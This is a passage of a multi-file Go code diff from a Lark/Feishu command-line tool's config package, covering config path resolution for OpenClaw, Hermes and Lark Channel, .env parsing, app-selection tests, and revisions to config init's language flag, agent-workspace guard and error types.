Brand: core.LarkBrand(normalizeBrand(b.cfg.Accounts.App.Tenant)),
}, nil
}
// ──────────────────────────────────────────────────────────────
// Source-specific helpers (path / dotenv / brand) — kept private to this package.
// Moved here from bind.go so bind.go can focus on orchestration.
// ──────────────────────────────────────────────────────────────
// sourceDisplayName returns the user-facing label for a source identifier,
// matching the casing used in bind_messages.go (OpenClaw / Hermes).
func sourceDisplayName(source string) string {
switch source {
case "openclaw":
return "OpenClaw"
case "hermes":
return "Hermes"
case "lark-channel":
return "Lark Channel"
default:
return source
}
}
// normalizeBrand applies .strip().lower() and defaults to "feishu".
// Aligns with Hermes gateway/platforms/feishu.py:1119 behavior.
func normalizeBrand(raw string) string {
s := strings.TrimSpace(strings.ToLower(raw))
if s == "" {
return "feishu"
}
return s
}
// resolveHermesEnvPath returns the path to Hermes's .env file.
// Respects HERMES_HOME override; defaults to ~/.hermes/.env.
//
// Note: HERMES_HOME is typically unset when users run bind from a regular
// terminal. When AI agents execute bind within a Hermes subprocess, HERMES_HOME
// may be set and should be respected.
func resolveHermesEnvPath() string {
hermesHome := os.Getenv("HERMES_HOME")
if hermesHome == "" {
home, err := vfs.UserHomeDir()
if err != nil || home == "" {
fmt.Fprintf(os.Stderr, "warning: unable to determine home directory: %v\n", err)
}
hermesHome = filepath.Join(home, ".hermes")
}
return filepath.Join(hermesHome, ".env")
}
// resolveLarkChannelConfigPath returns the path to lark-channel-bridge's
// source config. LARK_CHANNEL_CONFIG lets a host point bind at a projected
// single-account config without changing lark-cli's target config directory.
func resolveLarkChannelConfigPath() string {
if p := os.Getenv("LARK_CHANNEL_CONFIG"); strings.TrimSpace(p) != "" {
return expandHome(p)
}
home, err := vfs.UserHomeDir()
if err != nil || home == "" {
fmt.Fprintf(os.Stderr, "warning: unable to determine home directory: %v\n", err)
}
return filepath.Join(home, ".lark-channel", "config.json")
}
// resolveOpenClawConfigPath resolves openclaw.json path using the same priority
// chain as OpenClaw's src/config/paths.ts:
// 1. OPENCLAW_CONFIG_PATH env → exact file path
// 2. OPENCLAW_STATE_DIR env → <dir>/openclaw.json
// 3. OPENCLAW_HOME env → <home>/.openclaw/openclaw.json
// 4. ~/.openclaw/openclaw.json (default)
// 5. Legacy: ~/.clawdbot/clawdbot.json, ~/.openclaw/clawdbot.json
func resolveOpenClawConfigPath() string {
if p := os.Getenv("OPENCLAW_CONFIG_PATH"); p != "" {
return expandHome(p)
}
if stateDir := os.Getenv("OPENCLAW_STATE_DIR"); stateDir != "" {
dir := expandHome(stateDir)
return findConfigInDir(dir)
}
home := os.Getenv("OPENCLAW_HOME")
if home == "" {
h, err := vfs.UserHomeDir()
if err != nil || h == "" {
fmt.Fprintf(os.Stderr, "warning: unable to determine home directory: %v\n", err)
}
home = h
} else {
home = expandHome(home)
}
newDir := filepath.Join(home, ".openclaw")
if configFile := findConfigInDir(newDir); fileExists(configFile) {
return configFile
}
legacyDir := filepath.Join(home, ".clawdbot")
if configFile := findConfigInDir(legacyDir); fileExists(configFile) {
return configFile
}
return filepath.Join(newDir, "openclaw.json")
}
func findConfigInDir(dir string) string {
primary := filepath.Join(dir, "openclaw.json")
if fileExists(primary) {
return primary
}
legacy := filepath.Join(dir, "clawdbot.json")
if fileExists(legacy) {
return legacy
}
return primary
}
func fileExists(path string) bool {
_, err := vfs.Stat(path)
return err == nil
}
func expandHome(path string) string {
if strings.HasPrefix(path, "~/") || path == "~" {
home, err := vfs.UserHomeDir()
if err != nil {
return path
}
return filepath.Join(home, path[1:])
}
return path
}
// readDotenv reads a KEY=VALUE .env file. Comments (#) and blank lines skipped.
// Matches Hermes's load_env() in hermes_cli/config.py.
func readDotenv(path string) (map[string]string, error) {
data, err := vfs.ReadFile(path)
if err != nil {
return nil, err
}
result := make(map[string]string)
lines := strings.Split(string(data), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
idx := strings.IndexByte(line, '=')
if idx < 0 {
continue
}
key := strings.TrimSpace(line[:idx])
value := strings.TrimSpace(line[idx+1:])
if key != "" {
result[key] = value
}
}
return result, nil
}

View File

@@ -1,200 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"path/filepath"
"reflect"
"testing"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// fakeBinder is a test double for SourceBinder. selectCandidate only touches
// Name and ConfigPath (for error messages); ListCandidates/Build are not called
// from selectCandidate, so we can leave them as no-ops.
type fakeBinder struct {
name string
path string
}
func (b *fakeBinder) Name() string { return b.name }
func (b *fakeBinder) ConfigPath() string { return b.path }
func (b *fakeBinder) ListCandidates() ([]Candidate, error) { return nil, nil }
func (b *fakeBinder) Build(appID string) (*core.AppConfig, error) { return nil, nil }
// tuiUnreachable is a tuiPrompt that fails the test if called. It's the
// guardrail that proves the non-TUI decision paths really do stay out of the
// interactive prompt — otherwise a green test could still hide a silent TUI.
func tuiUnreachable(t *testing.T) func([]Candidate) (*Candidate, error) {
t.Helper()
return func([]Candidate) (*Candidate, error) {
t.Fatal("tuiPrompt must not be called in flag mode")
return nil, nil
}
}
// assertCandidate compares the full Candidate struct via DeepEqual so that
// any future field added to Candidate is covered automatically.
func assertCandidate(t *testing.T, got *Candidate, want Candidate) {
t.Helper()
if got == nil {
t.Fatal("expected non-nil Candidate")
}
if !reflect.DeepEqual(*got, want) {
t.Errorf("candidate mismatch:\n got: %+v\n want: %+v", *got, want)
}
}
func TestSelectCandidate_ZeroCandidates_OpenClaw(t *testing.T) {
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitAuth, wantErrDetail{
Type: "config",
Message: "no Feishu app configured in openclaw.json",
Hint: "configure channels.feishu.appId in openclaw.json",
})
}
func TestSelectCandidate_ZeroCandidates_GenericSource(t *testing.T) {
// Locks in the generic fallback so that any future source added to
// newBinder gets a well-formed validation error on "zero candidates"
// even before it has a bespoke error message.
b := &fakeBinder{name: "hermes", path: "/tmp/.env"}
_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitAuth, wantErrDetail{
Type: "config",
Message: "hermes: no app configured",
})
}
func TestSelectCandidate_SingleCandidate_NoFlag_AutoSelect(t *testing.T) {
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{{AppID: "cli_only", Label: "default"}}
got, err := selectCandidate(b, candidates, "", false, tuiUnreachable(t))
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
assertCandidate(t, got, Candidate{AppID: "cli_only", Label: "default"})
}
func TestSelectCandidate_AppIDFlag_ExactMatch(t *testing.T) {
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{
{AppID: "cli_work", Label: "work"},
{AppID: "cli_home", Label: "home"},
}
got, err := selectCandidate(b, candidates, "cli_home", false, tuiUnreachable(t))
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
assertCandidate(t, got, Candidate{AppID: "cli_home", Label: "home"})
}
func TestSelectCandidate_AppIDFlag_NoMatch(t *testing.T) {
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{
{AppID: "cli_work", Label: "work"},
{AppID: "cli_home", Label: "home"},
}
_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitValidation, wantErrDetail{
Type: "validation",
Message: `--app-id "nonexistent" not found in openclaw.json`,
Hint: "available app IDs:\n cli_work (work)\n cli_home (home)",
})
}
func TestSelectCandidate_MultiCandidate_NoFlag_NonTUI(t *testing.T) {
// Flag-mode with multiple candidates and no --app-id must produce a
// validation error and the candidate list, never an interactive prompt.
// isTUI is the single gate; a real terminal alone must not trigger TUI.
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{
{AppID: "cli_work", Label: "work"},
{AppID: "cli_home", Label: "home"},
}
_, err := selectCandidate(b, candidates, "", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitValidation, wantErrDetail{
Type: "validation",
Message: "multiple accounts in openclaw.json; pass --app-id <id>",
Hint: "available app IDs:\n cli_work (work)\n cli_home (home)",
})
}
func TestSelectCandidate_MultiCandidate_NoFlag_TUI(t *testing.T) {
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{
{AppID: "cli_work", Label: "work"},
{AppID: "cli_home", Label: "home"},
}
var gotCandidates []Candidate
got, err := selectCandidate(b, candidates, "", true, func(cs []Candidate) (*Candidate, error) {
gotCandidates = cs
return &cs[1], nil
})
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// Whole-slice DeepEqual so additions to Candidate propagate to this check.
if !reflect.DeepEqual(gotCandidates, candidates) {
t.Errorf("tuiPrompt received %+v, want %+v", gotCandidates, candidates)
}
assertCandidate(t, got, Candidate{AppID: "cli_home", Label: "home"})
}
func TestSelectCandidate_SingleCandidate_WrongFlag(t *testing.T) {
// Even with only one candidate, a wrong --app-id must error rather than
// silently auto-selecting. An explicit mismatch is always a user mistake,
// not a reason to override their intent.
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{{AppID: "cli_only"}}
_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitValidation, wantErrDetail{
Type: "validation",
Message: `--app-id "nonexistent" not found in openclaw.json`,
Hint: "available app IDs:\n cli_only",
})
}
func TestSelectCandidate_AppIDFlag_WinsOverTUI(t *testing.T) {
// An explicit --app-id short-circuits the prompt even in TUI mode: a
// flag the user typed should never be second-guessed by an interactive
// prompt asking the same question.
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{
{AppID: "cli_a"},
{AppID: "cli_b"},
}
got, err := selectCandidate(b, candidates, "cli_b", true, tuiUnreachable(t))
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
assertCandidate(t, got, Candidate{AppID: "cli_b"})
}
func TestResolveLarkChannelConfigPath_Default(t *testing.T) {
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("LARK_CHANNEL_CONFIG", "")
got := resolveLarkChannelConfigPath()
want := filepath.Join(home, ".lark-channel", "config.json")
if got != want {
t.Fatalf("resolveLarkChannelConfigPath() = %q, want %q", got, want)
}
}
func TestResolveLarkChannelConfigPath_EnvOverride(t *testing.T) {
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("LARK_CHANNEL_CONFIG", "~/bridge/projection.json")
got := resolveLarkChannelConfigPath()
want := filepath.Join(home, "bridge", "projection.json")
if got != want {
t.Fatalf("resolveLarkChannelConfigPath() = %q, want %q", got, want)
}
}

View File

@@ -14,26 +14,14 @@ func NewCmdConfig(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "config",
Short: "Global CLI configuration management",
PersistentPreRunE: func(cmd *cobra.Command, args []string) error {
// Replicate rootCmd's PersistentPreRun behaviour: cobra stops at the first
// PersistentPreRun[E] found walking up the chain, so the root-level
// SilenceUsage=true would be skipped without this line.
cmd.SilenceUsage = true
// Pass "config" as a literal — cmd.Name() would return the subcommand name.
return f.RequireBuiltinCredentialProvider(cmd.Context(), "config")
},
}
cmdutil.DisableAuthCheck(cmd)
cmd.AddCommand(NewCmdConfigInit(f, nil))
cmd.AddCommand(NewCmdConfigBind(f, nil))
cmd.AddCommand(NewCmdConfigRemove(f, nil))
cmd.AddCommand(NewCmdConfigShow(f, nil))
cmd.AddCommand(NewCmdConfigDefaultAs(f))
cmd.AddCommand(NewCmdConfigStrictMode(f))
cmd.AddCommand(NewCmdConfigPolicy(f))
cmd.AddCommand(NewCmdConfigPlugins(f))
cmd.AddCommand(NewCmdConfigKeychainDowngrade(f))
return cmd
}

View File

@@ -6,18 +6,13 @@ package config
import (
"context"
"errors"
"io"
"os"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/errs"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/output"
)
@@ -40,7 +35,6 @@ func (r *recordingConfigKeychain) Remove(service, account string) error {
}
func TestConfigInitCmd_FlagParsing(t *testing.T) {
clearAgentEnv(t) // assumes local workspace; guard refuses init in agent contexts
f, _, _, _ := cmdutil.TestFactory(t, nil)
f.IOStreams.In = strings.NewReader("secret123\n")
@@ -93,16 +87,15 @@ func TestConfigShowRun_NotConfiguredReturnsStructuredError(t *testing.T) {
t.Fatal("expected error")
}
var cfgErr *errs.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("error type = %T, want *errs.ConfigError", err)
var exitErr *output.ExitError
if !errors.As(err, &exitErr) {
t.Fatalf("error type = %T, want *output.ExitError", err)
}
// Config errors share ExitAuth (3), not ExitValidation.
if got := output.ExitCodeOf(err); got != output.ExitAuth {
t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
if exitErr.Code != output.ExitValidation {
t.Fatalf("exit code = %d, want %d", exitErr.Code, output.ExitValidation)
}
if cfgErr.Subtype != errs.SubtypeNotConfigured || cfgErr.Message != "not configured" {
t.Fatalf("detail = %+v, want not_configured/not configured", cfgErr)
if exitErr.Detail == nil || exitErr.Detail.Type != "config" || exitErr.Detail.Message != "not configured" {
t.Fatalf("detail = %#v, want config/not configured", exitErr.Detail)
}
}
@@ -127,16 +120,19 @@ func TestConfigShowRun_NoActiveProfileReturnsStructuredError(t *testing.T) {
t.Fatal("expected error")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitAuth)
var exitErr *output.ExitError
if !errors.As(err, &exitErr) {
t.Fatalf("error type = %T, want *output.ExitError", err)
}
if !strings.Contains(err.Error(), "no active profile") {
t.Fatalf("error = %v, want to contain 'no active profile'", err)
if exitErr.Code != output.ExitValidation {
t.Fatalf("exit code = %d, want %d", exitErr.Code, output.ExitValidation)
}
if exitErr.Detail == nil || exitErr.Detail.Type != "config" || exitErr.Detail.Message != "no active profile" {
t.Fatalf("detail = %#v, want config/no active profile", exitErr.Detail)
}
}
func TestConfigInitCmd_LangFlag(t *testing.T) {
clearAgentEnv(t) // assumes local workspace; guard refuses init in agent contexts
f, _, _, _ := cmdutil.TestFactory(t, nil)
var gotOpts *ConfigInitOptions
@@ -149,9 +145,8 @@ func TestConfigInitCmd_LangFlag(t *testing.T) {
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
// --lang en is canonicalized to en_us in RunE before runF captures opts.
if gotOpts.Lang != string(i18n.LangEnUS) {
t.Errorf("expected Lang en_us, got %s", gotOpts.Lang)
if gotOpts.Lang != "en" {
t.Errorf("expected Lang en, got %s", gotOpts.Lang)
}
if !gotOpts.langExplicit {
t.Error("expected langExplicit=true when --lang is passed")
@@ -159,7 +154,6 @@ func TestConfigInitCmd_LangFlag(t *testing.T) {
}
func TestConfigInitCmd_LangDefault(t *testing.T) {
clearAgentEnv(t) // assumes local workspace; guard refuses init in agent contexts
f, _, _, _ := cmdutil.TestFactory(t, nil)
var gotOpts *ConfigInitOptions
@@ -172,88 +166,14 @@ func TestConfigInitCmd_LangDefault(t *testing.T) {
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts.Lang != "" {
t.Errorf("expected default Lang to be unset (\"\"), got %q", gotOpts.Lang)
if gotOpts.Lang != "zh" {
t.Errorf("expected default Lang zh, got %s", gotOpts.Lang)
}
if gotOpts.langExplicit {
t.Error("expected langExplicit=false when --lang is not passed")
}
}
// TestSaveInitConfig_OmitLangPreservesPrior guards the single-app replace path:
// re-running init without --lang must inherit the prior preference, not clear it.
func TestSaveInitConfig_OmitLangPreservesPrior(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, _, _, _ := cmdutil.TestFactory(t, nil)
existing := &core.MultiAppConfig{Apps: []core.AppConfig{
{AppId: "cli_x", AppSecret: core.PlainSecret("s"), Brand: core.BrandFeishu, Lang: i18n.LangJaJP},
}}
if err := core.SaveMultiAppConfig(existing); err != nil {
t.Fatalf("seed config: %v", err)
}
if err := saveInitConfig("", existing, f, "cli_x", core.PlainSecret("s2"), core.BrandFeishu, ""); err != nil {
t.Fatalf("saveInitConfig (no --lang): %v", err)
}
got, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig: %v", err)
}
if app := got.CurrentAppConfig(""); app == nil || app.Lang != i18n.LangJaJP {
t.Errorf("Lang after re-init = %v, want %q (preserved)", app, i18n.LangJaJP)
}
}
// TestConfigInitCmd_InvalidLang verifies a non-empty --lang on config init is
// strictly validated the same way bind validates: wrong-case / typo / removed
// codes / hyphen form all exit with ExitValidation. (Empty is a no-op.)
func TestConfigInitCmd_InvalidLang(t *testing.T) {
clearAgentEnv(t)
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
cases := []struct {
name string
lang string
}{
{"wrong case ZH", "ZH"},
{"typo frr", "frr"},
{"removed code ar", "ar"},
{"unknown xx", "xx"},
{"hyphen form zh-CN", "zh-CN"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
cmd := NewCmdConfigInit(f, nil)
f.IOStreams.In = strings.NewReader("sec\n")
cmd.SetArgs([]string{"--lang", tc.lang, "--app-id", "x", "--app-secret-stdin"})
err := cmd.Execute()
if err == nil {
t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
}
var valErr *errs.ValidationError
if !errors.As(err, &valErr) {
t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
}
if valErr.Subtype != errs.SubtypeInvalidArgument {
t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
}
if valErr.Param != "--lang" {
t.Errorf("param = %q, want %q", valErr.Param, "--lang")
}
if got := output.ExitCodeOf(err); got != output.ExitValidation {
t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
}
if !strings.Contains(err.Error(), "invalid --lang") {
t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
}
})
}
}
func TestHasAnyNonInteractiveFlag(t *testing.T) {
tests := []struct {
name string
@@ -392,38 +312,8 @@ func TestSaveAsProfile_RejectsProfileNameCollisionWithExistingAppID(t *testing.T
if err == nil {
t.Fatal("expected conflict error")
}
// A name/appId conflict is user input — a typed validation error naming the
// offending flag, not a system storage failure.
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatalf("error type = %T, want *errs.ValidationError; err=%v", err, err)
}
if verr.Subtype != errs.SubtypeInvalidArgument {
t.Errorf("subtype = %q, want invalid_argument", verr.Subtype)
}
if verr.Param != "--name" {
t.Errorf("param = %q, want --name", verr.Param)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Errorf("exit code = %d, want %d (validation)", output.ExitCodeOf(err), output.ExitValidation)
}
if !strings.Contains(verr.Message, "conflicts with existing appId") {
t.Errorf("message = %q, want conflict description", verr.Message)
}
}
// TestWrapSaveConfigError_PassesTypedValidationThrough pins that a user-input
// validation error (e.g. the --name conflict) is not reclassified as an
// internal storage failure on its way up through the save call sites.
func TestWrapSaveConfigError_PassesTypedValidationThrough(t *testing.T) {
conflict := errs.NewValidationError(errs.SubtypeInvalidArgument, "name conflict").WithParam("--name")
var verr *errs.ValidationError
if !errors.As(wrapSaveConfigError(conflict), &verr) {
t.Fatalf("typed validation must pass through unchanged, got %T", wrapSaveConfigError(conflict))
}
var ierr *errs.InternalError
if !errors.As(wrapSaveConfigError(errors.New("disk full")), &ierr) || ierr.Subtype != errs.SubtypeStorage {
t.Fatalf("untyped failure must become internal/storage")
if !strings.Contains(err.Error(), "conflicts with existing appId") {
t.Fatalf("error = %v, want conflict with existing appId", err)
}
}
@@ -450,117 +340,3 @@ func TestUpdateExistingProfileWithoutSecret_RejectsAppIDChange(t *testing.T) {
t.Fatalf("error = %v, want mention of App Secret", err)
}
}
// stubConfigExtProvider simulates env/sidecar credential mode for config guard tests.
type stubConfigExtProvider struct{ name string }
func (s *stubConfigExtProvider) Name() string { return s.name }
func (s *stubConfigExtProvider) ResolveAccount(_ context.Context) (*extcred.Account, error) {
return &extcred.Account{AppID: "test-app"}, nil
}
func (s *stubConfigExtProvider) ResolveToken(_ context.Context, _ extcred.TokenSpec) (*extcred.Token, error) {
return nil, nil
}
func newConfigFactoryWithExternalProvider(t *testing.T) *cmdutil.Factory {
t.Helper()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
stub := &stubConfigExtProvider{name: "env"}
cred := credential.NewCredentialProvider([]extcred.Provider{stub}, nil, nil, nil)
f, _, _, _ := cmdutil.TestFactory(t, nil)
f.Credential = cred
return f
}
func TestConfigBlockedByExternalProvider(t *testing.T) {
f := newConfigFactoryWithExternalProvider(t)
tests := []struct {
name string
args []string
}{
{"init", []string{"init", "--app-id", "x", "--app-secret-stdin"}},
{"remove", []string{"remove"}},
{"show", []string{"show"}},
{"default-as", []string{"default-as", "user"}},
{"strict-mode", []string{"strict-mode", "off"}},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
cmd := NewCmdConfig(f)
cmd.SilenceErrors = true
cmd.SetErr(io.Discard)
cmd.SetArgs(tt.args)
// Locate the subcommand before execution (PersistentPreRunE receives it as cmd).
matched, _, _ := cmd.Find(tt.args)
err := cmd.Execute()
// PersistentPreRunE sets SilenceUsage on the matched subcommand, not the parent.
if matched != nil && matched != cmd && !matched.SilenceUsage {
t.Error("expected PersistentPreRunE to set SilenceUsage on matched subcommand")
}
if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
}
})
}
}
// TestValidateInitLang covers the --lang contract: empty (omitted or explicit)
// is a no-op leaving Lang unset; a short code or Feishu locale canonicalizes to
// the same locale; an unrecognized value errors.
func TestValidateInitLang(t *testing.T) {
t.Run("empty is a no-op", func(t *testing.T) {
for _, explicit := range []bool{false, true} {
opts := &ConfigInitOptions{Lang: "", langExplicit: explicit}
if err := validateInitLang(opts); err != nil {
t.Fatalf("explicit=%v: expected nil error, got %v", explicit, err)
}
if opts.Lang != "" {
t.Errorf("explicit=%v: Lang = %q, want \"\" (unset)", explicit, opts.Lang)
}
}
})
t.Run("short and locale canonicalize alike", func(t *testing.T) {
for _, in := range []string{"ja", "ja_jp"} {
opts := &ConfigInitOptions{Lang: in, langExplicit: true}
if err := validateInitLang(opts); err != nil {
t.Fatalf("--lang %q: unexpected error %v", in, err)
}
if opts.Lang != string(i18n.LangJaJP) {
t.Errorf("--lang %q normalized to %q, want %q", in, opts.Lang, i18n.LangJaJP)
}
}
})
}
// TestPrintLangPreferenceConfirmation covers the confirmation helper: it prints
// to stderr only when --lang explicitly set a non-empty preference.
func TestPrintLangPreferenceConfirmation(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
t.Run("explicit non-empty prints confirmation", func(t *testing.T) {
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
printLangPreferenceConfirmation(&ConfigInitOptions{Factory: f, Lang: "en_us", UILang: i18n.LangZhCN, langExplicit: true})
got := stderr.String()
if !strings.Contains(got, "语言偏好") || !strings.Contains(got, "en_us") {
t.Errorf("stderr = %q, want confirmation mentioning the preference and en_us", got)
}
})
t.Run("implicit prints nothing", func(t *testing.T) {
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
printLangPreferenceConfirmation(&ConfigInitOptions{Factory: f, Lang: "en_us", UILang: i18n.LangZhCN, langExplicit: false})
if got := stderr.String(); got != "" {
t.Errorf("stderr = %q, want empty when --lang is implicit", got)
}
})
t.Run("explicit empty prints nothing", func(t *testing.T) {
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
printLangPreferenceConfirmation(&ConfigInitOptions{Factory: f, Lang: "", UILang: i18n.LangZhCN, langExplicit: true})
if got := stderr.String(); got != "" {
t.Errorf("stderr = %q, want empty when --lang is empty", got)
}
})
}

View File

@@ -6,9 +6,9 @@ package config
import (
"fmt"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/spf13/cobra"
)
@@ -20,14 +20,14 @@ func NewCmdConfigDefaultAs(f *cmdutil.Factory) *cobra.Command {
Long: "Without arguments, shows the current default identity. Pass user, bot, or auto to set a new default.",
Args: cobra.MaximumNArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
multi, err := core.LoadOrNotConfigured()
multi, err := core.LoadMultiAppConfig()
if err != nil {
return err
return output.ErrWithHint(output.ExitValidation, "config", "not configured", "run: lark-cli config init")
}
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil {
return core.NoActiveProfileError()
return output.ErrWithHint(output.ExitValidation, "config", "no active profile", "run: lark-cli config init")
}
if len(args) == 0 {
@@ -41,17 +41,16 @@ func NewCmdConfigDefaultAs(f *cmdutil.Factory) *cobra.Command {
value := args[0]
if value != "user" && value != "bot" && value != "auto" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid identity type %q, valid values: user | bot | auto", value)
return output.ErrValidation("invalid identity type %q, valid values: user | bot | auto", value)
}
app.DefaultAs = core.Identity(value)
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
}
fmt.Fprintf(f.IOStreams.ErrOut, "Default identity set to: %s\n", value)
return nil
},
}
cmdutil.SetRisk(cmd, "write")
return cmd
}

View File

@@ -6,18 +6,17 @@ package config
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"os"
"strings"
"github.com/charmbracelet/huh"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/output"
)
@@ -31,25 +30,14 @@ type ConfigInitOptions struct {
AppSecretStdin bool // read app-secret from stdin (avoids process list exposure)
Brand string
New bool
Lang string // raw --lang (string for cobra); normalized to canonical/"" in validateInitLang
langExplicit bool // true when --lang was explicitly passed
UILang i18n.Lang // TUI display language (picker-only); intentionally separate from --lang
ProfileName string // when set, create/update a named profile instead of replacing Apps[0]
// ForceInit overrides the agent-workspace guard. Without it, running
// init under OPENCLAW_HOME / HERMES_HOME refuses and points the caller
// at config bind — which is what AI agents almost always want. Manual
// users with a legitimate need for a separate app can pass --force-init
// to bypass.
ForceInit bool
Lang string
langExplicit bool // true when --lang was explicitly passed
ProfileName string // when set, create/update a named profile instead of replacing Apps[0]
}
// NewCmdConfigInit creates the config init subcommand.
func NewCmdConfigInit(f *cmdutil.Factory, runF func(*ConfigInitOptions) error) *cobra.Command {
opts := &ConfigInitOptions{Factory: f, UILang: i18n.LangZhCN}
opts := &ConfigInitOptions{Factory: f}
cmd := &cobra.Command{
Use: "init",
@@ -58,21 +46,10 @@ func NewCmdConfigInit(f *cmdutil.Factory, runF func(*ConfigInitOptions) error) *
For AI agents: use --new to create a new app. The command blocks until the user
completes setup in the browser. Run it in the background and retrieve the
verification URL from its output.
Inside an Agent context (OPENCLAW_HOME / HERMES_HOME set) this command
refuses by default — use 'lark-cli config bind' to bind to the Agent's
existing app instead of creating a parallel one. Pass --force-init only
if the user explicitly wants a separate app inside the Agent workspace.`,
verification URL from its output.`,
RunE: func(cmd *cobra.Command, args []string) error {
opts.Ctx = cmd.Context()
opts.langExplicit = cmd.Flags().Changed("lang")
if err := validateInitLang(opts); err != nil {
return err
}
if err := guardAgentWorkspace(opts); err != nil {
return err
}
if runF != nil {
return runF(opts)
}
@@ -84,52 +61,12 @@ if the user explicitly wants a separate app inside the Agent workspace.`,
cmd.Flags().StringVar(&opts.AppID, "app-id", "", "App ID (non-interactive)")
cmd.Flags().BoolVar(&opts.AppSecretStdin, "app-secret-stdin", false, "Read App Secret from stdin to avoid process list exposure")
cmd.Flags().StringVar(&opts.Brand, "brand", "feishu", "feishu or lark (non-interactive, default feishu)")
cmd.Flags().StringVar(&opts.Lang, "lang", "", "language preference (e.g. zh or zh_cn)")
cmd.Flags().StringVar(&opts.Lang, "lang", "zh", "language for interactive prompts (zh or en)")
cmd.Flags().StringVar(&opts.ProfileName, "name", "", "create or update a named profile (append instead of replace)")
cmd.Flags().BoolVar(&opts.ForceInit, "force-init", false, "allow init inside an Agent workspace (OPENCLAW_HOME / HERMES_HOME); use config bind instead unless you really want a separate app")
cmdutil.SetRisk(cmd, "write")
return cmd
}
// printLangPreferenceConfirmation echoes the set preference to stderr, only
// when --lang explicitly set a non-empty value.
func printLangPreferenceConfirmation(opts *ConfigInitOptions) {
if !opts.langExplicit || opts.Lang == "" {
return
}
msg := getInitMsg(opts.UILang)
fmt.Fprintln(opts.Factory.IOStreams.ErrOut, fmt.Sprintf(msg.LangPreferenceSet, opts.Lang))
}
func validateInitLang(opts *ConfigInitOptions) error {
lang, err := cmdutil.ParseLangFlag(opts.Lang)
if err != nil {
return err
}
opts.Lang = string(lang)
return nil
}
// guardAgentWorkspace refuses 'config init' when run inside an OpenClaw or
// Hermes Agent context, because the Agent has already provisioned an app
// and 'config bind' is the right tool for hooking lark-cli into it.
